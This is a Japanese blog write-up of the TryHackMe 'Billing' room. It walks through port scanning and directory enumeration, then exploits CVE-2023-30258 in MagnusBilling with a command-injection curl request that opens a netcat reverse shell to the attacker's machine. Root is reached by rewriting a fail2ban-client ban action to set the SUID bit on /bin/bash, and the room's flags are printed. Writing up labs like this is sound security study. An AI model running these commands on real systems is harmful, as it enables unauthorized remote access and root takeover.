1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Billing Writeup

Last updated at Posted at 2025-03-30

はじめに

今回は難易度がEasyである「Billing」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

環境

環境 IPアドレス
攻撃マシン 10.8.59.93
ターゲットマシン 10.10.136.175

Task 1 Flags

ポートスキャンを行います。

└─$ nmap -Pn -T4 10.10.136.175
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-29 23:01 EDT
Nmap scan report for 10.10.136.175
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds

ブラウザでアクセスした所、特に何もなさそう。
image.png

隠しディレクトリを探します。

└─$ gobuster dir -u http://10.10.136.175/mbilling/ -x html,php -w ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.136.175/mbilling/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 30760]
/index.php            (Status: 200) [Size: 663]
/archive              (Status: 301) [Size: 325] [--> http://10.10.136.175/mbilling/archive/]
/resources            (Status: 301) [Size: 327] [--> http://10.10.136.175/mbilling/resources/]
/assets               (Status: 301) [Size: 324] [--> http://10.10.136.175/mbilling/assets/]
/lib                  (Status: 301) [Size: 321] [--> http://10.10.136.175/mbilling/lib/]
/cron.php             (Status: 200) [Size: 0]
/LICENSE              (Status: 200) [Size: 7652]
/tmp                  (Status: 301) [Size: 321] [--> http://10.10.136.175/mbilling/tmp/]
/protected            (Status: 403) [Size: 278]

「10.10.136.175/mbilling/lib/」の「icepay」が以下サイトよりcve-2023-30258に関する脆弱性であるとのこと。
https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/

image.png

以下サイトのエクスプロイトを使用します。
https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit

まずnetcatで待ち受けを行います。

nc -lvnp 1234   

攻撃マシンに対してRCEを実行します。

curl -s 'http://10.10.136.175/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.59.93 1234 >/tmp/f;'
└─$ nc -lvnp 1234            
listening on [any] 1234 ...
connect to [10.8.59.93] from (UNKNOWN) [10.10.136.175] 44858
sh: 0: can't access tty; job control turned off
$

シェルのグレードを上げます。

$ python3 -c "import pty;pty.spawn('/bin/bash')"
asterisk@Billing:/var/www/html/mbilling/lib/icepay$  

What is user.txt?

あるユーザ内のフォルダ内にフラグがあったので1つ目獲得になります。

asterisk@Billing:/home/magnus$ cat user.txt
cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}

What is root.txt?

現ユーザが特権ユーザで実行可能なコマンドを確認します。

sasterisk@Billing:/home/magnus$sudo -l
sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

fail2ban-clientは、Fail2Banの管理を行うためのコマンドラインツールで、そのFail2Banは不正アクセスやブルートフォース攻撃を検出し、自動的にIPアドレスをブロックするLinuxのセキュリティツールであるとのこと。

実行中のプロセスを確認した所、rootユーザとしてfail2ban-serverが実行されていました。

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ps -aux | grep fail
ps -aux | grep fail
root         531  0.5  1.3 1167416 25880 ?       Ssl  02:42   0:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
asterisk    1344  0.0  0.0   6580   704 pts/0    S+   02:44   0:00 grep fail

次にfail2ban-serverのステータスを確認すると、8つのアクションがアクティブ状態である事が分かります。

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client status
<g/lib/icepay$  sudo /usr/bin/fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd

8つのアクションの設定を確認していた所、asterisk-iptablesにはRCE先へ攻撃を試みたIPをブロックする処理があるとのこと。

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
<r/bin/fail2ban-client get asterisk-iptables actions
The jail asterisk-iptables has the following actions:
iptables-allports-ASTERISK

そのブロックを行う設定を、以下の通りroot権限でシェルを起動する設定にするコマンドへ変更します。

# 設定を確認
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban
<iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>

# 設定を変更
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
<es-allports-ASTERISK actionban 'chmod +s /bin/bash'
chmod +s /bin/bash

# 変更された設定を確認
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash

そのアクションを実行して、設定したコマンドを実行します。
アクションを行う方法として、手動でアクセス不可のIPを追加するコマンドがある為、それを実行します。

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.1.1.1
<fail2ban-client set asterisk-iptables banip 1.1.1.1
1

root権限でシェルを起動すると、rootへ昇格されました。

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ /bin/bash -p
/bin/bash -p
bash-5.1# whoami
whoami
root

最後にフラグを獲得して完了となります。

bash-5.1# cat /root/root.txt 
cat /root/root.txt
THM{33ad5b530e71a172648f424ec23fae60}

さいごに

以上となります。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?